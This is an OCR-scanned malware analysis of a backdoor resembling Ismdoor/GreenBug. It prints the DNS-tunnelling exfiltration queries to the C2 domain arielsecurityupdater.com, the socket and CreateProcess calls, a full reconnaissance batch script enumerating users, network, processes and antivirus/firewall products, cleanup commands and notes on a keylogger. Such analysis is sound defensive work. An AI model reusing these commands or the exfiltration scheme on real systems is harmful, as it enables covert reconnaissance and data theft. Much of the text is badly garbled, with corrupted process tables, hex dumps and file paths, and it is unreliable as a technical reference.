AD4229879180E267F431AC6666B6A0A2
AD3A2CT70515BETICEAIDSAS6AFBFD37C4

Data Exfiltration via DNS Ismdoor / GreenBug

Payload is mainly used for data exfiltration via DNS. Using such techniques attacker can
take advantage of DNS tunneling and using AAAA DNS queries for IPv6 addresses. Victim’s
machine run multiple commands and send results to C2 server this way. This backdoor is mainly
using tools like WMIC to gather system information. In short data is sent via DNS query and
response 1s via AAAA IPV6 address. This behavior is very similar to greenBug / Ismdoor seen

previously.

Request Type: AAAA

Hostname: n.n.c.
7EF5604C38314D6BB0F880B656C054B9.arielsecurityupdater.com
Dest Address: 8.8.8.8

AAAA: 3666:2d62:6162:372d:6563:6331:6437:3733

In the next wave data is sent to the C2 server.

TTpDU;95ZD0zMGQ4Mjk4MSO00N;RKLTQwM2MtYWM4YyliNWVhZDA3YTI1
hZDM!.0.dr.26B7377773DE43C4B1FE14AE98A7605F.arielsecurityupdater.com

Initially socket() calls are used to build up the data structures, followed by send() and recv()

socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) // FOR EXFILTRATION VIA DNS
M:SF?commandId=CmdResult=|#|DownloadFile |#|Command executed successfully
htons ( 53 )

sendto ( sockFD, Buffer, 81, 0, DestStructure, 16 )

recvfrom ( socFD, Buffer, 512, 0, DestStructure, AddrLength )

UD



file

Data exchange happens in a specific order as shown above ?.... . E.g. SF means send

For Connection check backdoor will use DNS Servers => M:CC?
Some other message types

UD

Here are some of the DNS queries:

@ n.n.c.BB46EB2BF6394E14B4B785BDD14DFTET arielsecurityupdater.com

@ TTpHQUMEYXBwSWQ90Dc3.0.dr.BB46E82BF6394 E14B4B785BD D14 DFTET arielsecurityupdater.com

& n.1.f.BB46E32BF6394E14B4B785BDD14DFTET arielsecurityupdater.com

@ n.n.fc.BB46EB2BF6394E14B4B785BDD14DF7ET arielsecurityupdater.com

& www.0.s.BB46EB2BF6394 E14B4B785BD D14 DF7ET arielsecurityupdater.com

@ www.1.5.BB46E82BF6394E14B4B785BDD14DF7ET arielsecurityupdater.com

@ www.2.5.BB46E82BF6394E14B4B785BDD14DF7ET arielsecurityupdater.com

@ n.n.c.7C28EEA303044338BCT6 AEEFOFFEC393. arielsecurityupdater.com

@ TTpDUj9ZD04MmNIOGFmYS1kY2ZMILTQLYjktYTQLYy0xMmJiMjdkZ GFmZTQ!.0.dr.7 C2BEEA303044338BCT6AEEFOFFEC393 arielsecurityupdater.com
@ n.1.f7C28EEA303044338BCT6AEEFOFFEC393 arielsecurityupdater.com

@ n.n.fcTC28EEA303044338BCTOAEEFOFFEC393 arielsecurityupdater.com

@ www.0.5.7C28EEA303044338BCT6AEEFOFFEC393.arielsecurityupdater.com

@ n.n.c.00E3CB3C1BDB4D209CCCFE3ADBT949D3 arielsecurityupdater.com

@ TTpTRj9jb21tYWSkSWQIQ21 kUmVzdWx0PTgyY2U4YWZhLWRjYzUtNDViOS1h.0.dr.00E3CB3C1BDB4D209CCCFE3ADBT949D3 arielsecurityupdater.com
& NDVJLTEyYmlyN2RkYWZINHx8fERvbmU!.1.dr.00E3CB3C1BDB4D209CCCFE3ADBT949D3 arielsecurityupdater.com

@ n.2.f.00E3CB3C1BDB4D209CCCFE3ADBT949D3 arielsecurityupdater.com

@ n.nfc.00E3CB3C1BDB4D209CCCFE3AOBT49D3 arielsecurityupdater.com

@ www.0.5.00E3CB3C1BDB4D209CCCFE3ADBT949D03 arielsecurityupdater.com

@ n.n.c.6CEFE410382E40AT8D2AE00ECS6CTC5C arielsecurityupdater.com

@ TTpBVj9hcHBJZD04 NzemdW5pcXVISWQAYzNDImZ GMEN2FhMC00YWQ4LTIm.0.dr.6 CBFE410382E40A78D2AE00ECS6CTC5C arielsecurityupdater.com
@ MDMtYmVhOTVIOTBhOGU2.1.dr.6CBFE410382E40A7T8D2AE00ECS56CT C5C. arielsecurityupdater.com

W n.2.f6CBFE410382E40AT8D2AEDDECS6CTC5C arielsecurityupdater.com

@ n.n.fc,6CBFE410382E40ATED2AED0ECS6CT C5C. arielsecurityupdater.com

@ www.0.5.6C8FE410382E40AT8D2AED0ECS6CT C5C.arielsecurityupdater.com

@ n.n.c.9AC4B485BFE34F119BB51 CF1FE3FFLED arielsecurityupdater.com

@ TTpBYj9hcHBJZD04NzemdW5pcXVISWQAYzNDImZGMEN2FhMCO0YWQ4LTIm.0.dr.9AC48485BF834F119BB51 CF1FE3FFLED.arielsecurityupdater.com
@ MDMEYmVhOTVIOTBhOGU2.1.dr.9AC48485BF834F119BB51 CF1FE3FFLED.arielsecurityupdater.com



written to a text file. Results are encrypted and sent to a G2 server

UD

Let’s get to the actual payload. Its a 64 bit binary compiled on 7/3/2017

MG-Structure :
HeaderOffsetVal :
StackSeg :

Stack= :

CkS :

Instr> :

HeaderfAdd :

36 36 36 36 36 36 3 3 336 IE B M I I B M I I I WM I} H

i FILE_TYPE => PE

P

+

36 36 36 36 36 36 3 3 I I BB IE I WM I I I M ;I W WM

¥ ok % ¥ %k ¥

MZ{Mark Zbikowski)
pEBOOOBA
L616161616]516]5]
BBBBOBBLS
L61616]616]516]5]
POOOROBO
0OOOOBTO

AMD
EXE ,GT 2GB

|M0n Jul 03 21:19:58 201?|

[
Bx1 <- Base=
GUI

DD 'ﬁﬁ <_ CS

Bx1000 <- CoseBase=

.text:

.text: {K}, (R},
.rdata:

.rdata: I, {R},
.data:

.data: I, {R}, {W},

3 3

EX 2T

The backdoor uses very straight forward flow. It drops a simple .bat file. Bat file results are

Payload adds and removes multiple files under

%HOME% \ appdata\Microsoft\Windows location

Gk
-

WangsERial




[A7-15-2817-22-37-331->
[A7-15-2817-22-37-331->
[A7-15-2817-22-37-371-
[A7-15-2817-22-37-481-
[A7-15-2817-22-37-441-
[A7-15-2817-22-37-471-
[A7-15-2817-22-37-511-

vvvvvvvvvvvvvvvvvvvvvvvvvv

e R R e R R R R R R R R R R e Reo Reo Re - Re oo R R e Re Re- Rl - Re - 1=

OONNOONoNNoONooo000NO00NN0N0NnN0000/

! 3
ooNappdatasLocalsUir alSture\YIZIYlUPhOBSC
C

i_code sex

foo\appdata\Local\HicPDsoft\Hlndo
foosappdatasLocalsMicrosofts\Windo
z\foosappdatasLocal\Microsof t:\Windo

rs\fooNappdatasLocal\Microsoft\Windo

fou\appdata\Local\chlogoft\Ulndo

foosappdatasLocal\Micros
fou\appdata\Lucal\chlDgoft\Nlndo

“foosappdatasLocals\Mic

rs\foosappdatasLocal\Microsoft\Windo

fou\appdata\Lucal\HiclDuoft\Ulndo
fooNappdatasLocals\Mic
foosappdatasLocalsMic
foosappdatasLocal\Micros
fooNappdatasLocal\Micro
fooNappdatasLocal\Mic
fooNappdatasLocalsMic
foosappdatasLocals\Mic

rs\foosappdatasLocal\Microsoft:\Windo

fou\appdata\Lucal\HiclDuoft\Ulndo
fooNappdatasLocal\Mic
foosappdatasLocalsMic
foosappdatasLocalsMic

s0
NusersNfoosappdatasLocal\Microsof t\Windo
N

F: means FILE
D: means Directory

mpFiles
mp?88711819 s 256
mpF1139\34241319 pr % @

mp?88711019 2= 258
RMFiles\4c678457-247h—4835-8849-3125d9563c%c.txt ¢ B
RMFiles“\4c678457-247h—4835-8849-3125d9563c%c . txt ¢ 2788
mpFiles\1E7?DBDEEA884B3ABBECFC?FD4EAEYFS ¢ 1632
mpFiles\4c678457-247h-4835-8049-3125d9563cPc.zip ¢ 1224
mpFiles\dwl E??9DBDEEAS84B3ABBECFC?FD4EAEYFS . txt s 126

iTmp765643 .txt *x 167

np?932ul .bat ¢ 5830

iTmp?65643 . txt % 4431

RMFiles\58efd50a—5825-4700-a54f -341e141aB257.txt ¢ 1587
mpFiles\22A3751768F5444081C?AIBA291CASAA »»x 832
mpFiles\58efd5@a—5825-4700—-a54f —341e141aB257 . .zip »*x 622
mpFiles\dw22A3751768F5444081C?A?8A221CASAA. txt 2 125
RMFiles\1h5a8d@e—5542-4758-989f -hd3Bca?2cB9B . txt ¢ @

RMFiles\ib5a8d@e—5542-4758—989f —hd3Bca?2c@98. txt =x 117
mpFiles\16E6AB23949B48F99D1F2AFBE1BEDE?4 x 476
mpFiles\1bh5a8d@e-5542-4758-989f -bd3Bca?2cBA?8.zip ¢ 355
mpFiles\dwl6E6AB23949B48F?9D1F2AFBEL1BEDE?4 . txt 3¢ 124
mpFiles\3768D6BFFDA242278BCF?3276124ABA7 == 8800
mpFilesscbhaldBc—a663—-42hd-h481-a3h4331166eb6.2ip == 6598
mpFiles\dw3?68D6 BFFDA242278BCF?3276124ABA7 . txt ¢ 125

fooNappdatasLocal\Microsof t\Windows\TmpFiles\duw3768D6BFFDA242278BCF23276124ABA7 . txt ¢ 126
s\fooNappdatasLocal\Microsoft\Windows“\TmpFiles \dw3768D6BFFDB242278BCF23276124ABA7 . txt »x 127

Once the payload starts, it uses multiple system commands to gather results including

[07-16-2017-00-2
[07-16-2017-00-2
[07-16-2017-00-2
[07-16-2017-00-2
[07-16-2017-00-2
[07-16-2017-00-2
[07-16-2017-00-2
[67-16-2017-00-2

etc. Payload uses multiple threads (8 - 12) at a time.

cmd. exe
cmd. exe
conhost . exe
schtasks.exe
schtasks. exe

SearchProto olHost.exe

Jilost exe
PHVLUHD exe

PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT

procCommand . exe
explorer.exe
CSIrss.exe

cmd.
cmd.

exe
exe

SearchIndexer.exe
SearchIndexer.exe
explorer. exe

3-
-
3-
3-
4
4
h-
i
07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24—-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-
[07-16-2017-00-24-5
[07-16-2017-00-24-5

cmd. exe
conhost.exe
net.exe

cmd. exe
conhost .
cmd. exe
conhost .
cmd. exe

cmd. exe
ipconfig.exe
cmd. exe

cmd. exe
net.exe

cmd. exe
conhost . exe
systeminfo.exe

PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT

PHYLOAD . exe
CSIsS. exe

cmd. exe

PAYLOAD . exe
CSIrss.exe
PAYLOAD . exe
CSIrSs.exe
cmd.
cmd.
cmd.
cmd.
cmd.

cmd.
DAY

CSIrss.exe
cmd.

exe
exe
exe
exe
exe
exe
UAD

exe

91-
21-
21-
91-
81-
9
9
5
61-
61-
61-
31-
31-
11-
1]1-
11-
11-
11-
11-
21-
21-
71-
-
7
5)

T07-16-2017-00-26-5
[07-16-2017-00-24— 59
0716201/ 00-25-09
[07-16-2017-00-25-091-
[07-16-2017-00-25- @9

07-16-2017-00-25-10
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-
07-16-2017-00-25-

L LA L VLRI
N U N U N U TR B o B o o e o B 0 D O

Wm1iFrvoLt. exe
TrustedInstaller.exe
cmd . exe
net.exe
netl.exe
cmd. exe

cmd. exe
NETSTAT . EXE
cmd. exe
systeminfo.exe
cmd. exe

cmd. exe
tasklist.exe
cmd. exe
sC.exe

cmd. exe

cmd. exe
HMIC.exe
cmd. exe
WMIC.exe
cmd. exe
WMIC.exe
cmd. exe
WMIC.exe
cmd. exe
HMIC.exe
cmd. exe
HMIC.exe

PHRENI
PARENT
PORFH

PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT
PARENT

svchost. exe
services.exe
.exe
cmd.
net.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.
cmd.

cmd

exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe
exe




Payload calls CreateProcess() to spawn all the commands.

GreateProcessW ( "C:\Windows\system32\cmd.exe", " /c (net view 2>&1) > "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\28
fe8173-be68-4bb1l-ad38-a214bb4bbf03.txt" & echo "Finished" >> "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\28fe8173-be68
-4bb1-ad38-a214bb4bbf03.txt"", NULL, NULL, FALSE, CREATE_NO_WINDOW ...

Data exchange between the victim and C2 machine happens periodically.

DNS Exfiltration

s_port: 53 |d_port: 53941 |len=53941
socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ~ // FOR EXFILTRATION VIA DNS 29 43 81 80 00 01 00 01 00 00 00 00 01 GE 01 6E CeTourarares n.n

M:SF?commandId=CmdResult=|#|DownloadFile|#|Command executed successfully /\ g; g; ig ‘B‘g 3‘; ig 2‘; gg ;g g; ‘3‘; ‘;g g; ;12; ;g 3; é;r;ﬁgggégsgégg
43 30 44 14 61 72 69 65 6C 73 65 63 75 72 69 74 CoD.arielsecurit

htons ( 53 )
79 75 70 64 61 74 65 72 03 63 6F 6D 00 00 1C 00 yupdater.com

sendto ( sockFD, Buffer, 81, 0, DestStructure, 16 )
recvfrom ( socFD, Buffer, 512, @, DestStructure, AddrLength )

01 Co oC 00 1C 00 01 00 00 00 09 00 10 A6 7D @D

B8 A2 AL 73 34 76 54 43 25 03 70 2A A3 L SAVTCs. pE.
(LAYER: 4)
s_port: 53 |d_port: 54005 |len=54005 (UDURRANI)
51 1B 81 80 00 01 00 01 00 00 00 00 03 77 77 77 [ I S (avere 4
01 32 01 73 20 46 34 37 44 38 46 41 42 38 38 38 .2.s F47D8FAB888 s_port: 53942 |d_port: 53 |len=53
43 34 45 35 46 41 41 36 41 36 38 42 37 31 31 31 CAE5FAA6A68B7111 22 00 01 00 00 01 00 00 00 00 00 00 08 54 54 70 ELPTTITTEES Tp
43 30 38 41 31 14 61 72 69 65 6C 73 65 63 75 72 Co8Al.arielsecur 30 31 43 45 47 37 42 34 45 32 46 38 41 46 46 32 PAF AR
69 74 79 75 70 64 61 74 65 72 @3 63 6F 6D 00 00 ityupdater.com.. 39 38 35 38 37 36 38 42 43 30 44 14 61 72 69 65 9858768BCeD. arie
1C 00 01 CO oC 00 1C 00 01 00 00 00 @9 00 10 39 | S s Tt oo kARl T e T2 Lsecurityupdater
63 34 65 7C 7C 7C 73 79 73 74 65 6D 69 6E 66 cde| | |systeminf

Commands are stored char by char within the Payload

socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) // FOR EXFILTRATION VIA DNS
M:SF?commandId=CmdResult=|#|DownloadFile|#|Command executed successfully

BreateProcessW ( "C:\Windows\system32\cmd.exe", " /c (net view 2>&1) > "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\28
fe8173-be68-4bbl-ad38-a214bb4bbf03.txt" & echo "Finished" >> "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\28fe8173-be68
—-4bb1-ad38-a214bb4bbf@3. txt"", NULL, NULL, FALSE, CREATE_NO_WINDOW ...

/c (systeminfo 2>&1) > "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\37d07565-d5a0-4eb3-a5e8-762096d5a7c4.txt" & echo
"Finished" >> "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\37d07565-d5a0-4eb3-a5e8-762096d5a7c4. txt"

systeminfo

/c (net view 2>&1) > "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\28fe8173-be68-4bbl-ad38-a214bb4bbf@3.txt" & echo "Fi
nished" >> "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\28fe8173-be68-4bbl-ad38-a214bb4bbf03.txt"

/c (whoami /groups 2>&1) > "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\319cb156-2fe6-48dd-9a71-d8ffc2775abc.txt" & ec
ho "Finished" >> "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\319cb156-2fe6-48dd-9a71-d8ffc2775abc.txt"

whoami /groups

/c ("C:\Users\foo\AppData\Local\\Microsoft\Windows\Tmp9932ul.bat")

/c (del "C:\Users\foo\AppData\Local\Microsoft\Windows\Tmp9932ul.bat" 2>&1) > "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMF
iles\2bc8ae80-2b1c-4577-b0c8-c816d3d78afl.txt" & echo "Finished" >> "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\2b...

/c (del "C:\Users\foo\AppData\Local\Microsoft\Windows\Tmp765643.txt" 2>&1) > "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMF
iles\0@a24e0d0-c2e6-4461-9709-61ec72756ba2. txt" & echo "Finished" >> "C:\Users\foo\AppData\Local\\Microsoft\Windows\CRMFiles\@a...

net view

UD 9]



cmd
cmd
cmd
cmd
cmd
cmd

cmd
cmd
cmd
cmd
cmd
cmd

cmd
cmd
cmd
cmd
cmd
cmd

cmd
cmd
cmd
cmd
cmd
cmd

cmd
cmd
cmd
cmd
cmd
cmd

cmd
cmd
cmd
cmd
cmd
cmd

cmd
cmd
cmd
cmd
cmd
cmd

cmd
cmd
cmd
cmd
cmd
cmd

cmd
cls
cmd
del

del
cmd
cmd

cmd
cmd

cmd
cmd

cmd
cmd

cmd
cmd

cmd
cmd
rel

H

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c
/a /c
/a /c
/a /c
/a /c
/a /c

/a /c

/u /c

The BAT file

echo (User Name) > "%localappdata%s\Microsoft\Windows\jTmp765643. txt"
echo %userdomain%\%username% >>"%localappdata%\Microsoft\Windows\jTmp765643.txt" 2>&1
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo (IP Config) >> "%localappdata%s\Microsoft\Windows\jTmp765643.txt"
ipconfig /all >>"%localappdata%\Microsoft\Windows\jTmp765643.txt"
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo (Net View) >> "%localappdata%s\Microsoft\Windows\jTmp765643. txt"
net view >>"%localappdata%\Microsoft\Windows\jTmp765643. txt"
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo (Net User) >> "%localappdata%s\Microsoft\Windows\jTmp765643. txt"
net user administrator /domain >>"%localappdata%s\Microsoft\Windows\jTmp765643.txt"
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo (NetStat) >> "%localappdata%s\Microsoft\Windows\jTmp765643.txt"
netstat -ant >>"%localappdata%\Microsoft\Windows\jTmp765643. txt"
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo (SystemInfo) >> "%localappdata%s\Microsoft\Windows\jTmp765643. txt"
systeminfo >> "%localappdata%\Microsoft\Windows\jTmp765643.txt"
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo ( TaskList) >> "sslocalappdata%\Microsoft\Windows\jTmp765643. txt"
tasklist >> "%localappdata%s\Microsoft\Windows\jTmp765643.txt"
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo ( ServiceList) >> "%localappdata%s\Microsoft\Windows\jTmp765643.txt"
sc query >> "%localappdata%\Microsoft\Windows\jTmp765643. txt"
@echo off

@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"
@echo: >>"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

echo (SecurityInformation) >> "slocalappdata%\Microsoft\Windows\jTmp765643. txt"

type "%localappdata%\Microsoft\Windows\jTmp765643.txt" > "%localappdata%\Microsoft\Windows\Tmp765643.txt"

"slocalappdata%s\Microsoft\Windows\jTmp765643. txt"

"%localappdata%s\Microsoft\Windows\jTmp765643. txt"

/u /c
/u /c

/u /c
/u /c

/u /c
/u /c

/u /c
/u /c

/u /c
/u /c

/u /c
/u /c

WMIC /Node:localhost /Namespace:\\root\SecurityCenter Path AntiVirusProduct Get /Format:List >> "%localappdata%\Microsoft\Windows\Tmp765643.txt"
echo >> "%localappdata%s\Microsoft\Windows\Tmp765643. txt"
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get /Format:List >> "%localappdata%\Microsoft\Windows\Tmp765643.txt"
echo >> "%localappdata%s\Microsoft\Windows\Tmp765643. txt"
WMIC /Node:localhost /Namespace:\\root\SecurityCenter Path FirewallProduct Get /Format:List >> "%localappdata%\Microsoft\Windows\Tmp765643.txt"
echo >> "%localappdata%s\Microsoft\Windows\Tmp765643. txt"
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get /Format:List >> "%localappdata%\Microsoft\Windows\Tmp765643. txt"
echo >> "%localappdata%s\Microsoft\Windows\Tmp765643. txt"
WMIC /Node:localhost /Namespace:\\root\SecurityCenter Path AntiSpywareProduct Get /Format:List >> "%localappdata%\Microsoft\Windows\Tmp765643.txt"
echo >> "%localappdata%s\Microsoft\Windows\Tmp765643. txt"

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get /Format:List >> "%localappdata%\Microsoft\Windows\Tmp765643.txt"
echo >> "%localappdata%s\Microsoft\Windows\Tmp765643. txt"

%localappdata%\Microsoft\Windows\Tmp765643. txt#1;
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Results are stored in the following order

(User Name)

WIN-RN4A1D7IM6L\ foo

(IP Config)
Windows IP Configuration
Host Name . . . . . . . . . . . . : WIN-RN4AID7IM6L
Primary Dns Suffix . . . . . . . :
Node Type . « + v v v v v & v v s : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : localdomain

Task kill and timeout command are also used by the backdoor

(taskkill /im \"", basePointer + 0x68), "\" /f & del \""), basePointer + 0xa8, r9), "\" & timeout /t 3 /nobreak & del \™”)

Like greenBug, this backdoor is able to do multiple things e.g. upload, download, send
and receive commands etc. There 1s code path to a keyLogger payload as well. Its used as a hook

to capture all the key strokes and send user passwords to C2 server.

48 84 15 f0 f1 [l 00  leaq  651760(%rip), %rdx
48 8d 4d b8 leaq —-72(%rbp), %rcx
e8 07 db fe ff callg -75001 <.text+0x24C0>

gword [imp_StringFromGUID2+67008] ; "C:\\ProgramData\\WinIt.exe",

3F 00 00 00 00 00 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 00 00 00 00 AF 00 6B 00 00 00 00 00 43 3A 50 72 6
61 6D 44 61 74 61 5C 73 74 61 74 2E 64 61 74 00 57 69 6E 49 74 2E 65 78 65 00 00 00 00 00 00 00 43 3A'5C 50 72 6F 67 72 61 6D 4461 74 61 5C 57
69 6E 49 74 2E 65 78 65 00 00 00 00 00 00 00 00 63 3A 5C 77 69 6E 64 6F 77 73 5C 74 65 6D 70 5C 74 6D 70 38 38 37 33 00 25 61 70 70 64 6

Conclusion:

This backdoor definitely resembles the famous greenBug. It’s used to gather useful data on
a corporate network(s). Its using DNS to exfiltrate data due to which very few endpoint
protections were able to detect the payload. Even at the network layer not many vendors were
able to detect or prevent. The backdoor is used as a PRE attack vector. This means attacker is
trying to get useful data to compile the next stage. Similar vector was used in Shamoon

version two. Shamoon had 2 stages: PRE shamoon and POST shamoon. For more information

on Shamoon please use the following link

http:/ /udurrani.com/ 0fff/shamoon_story.html
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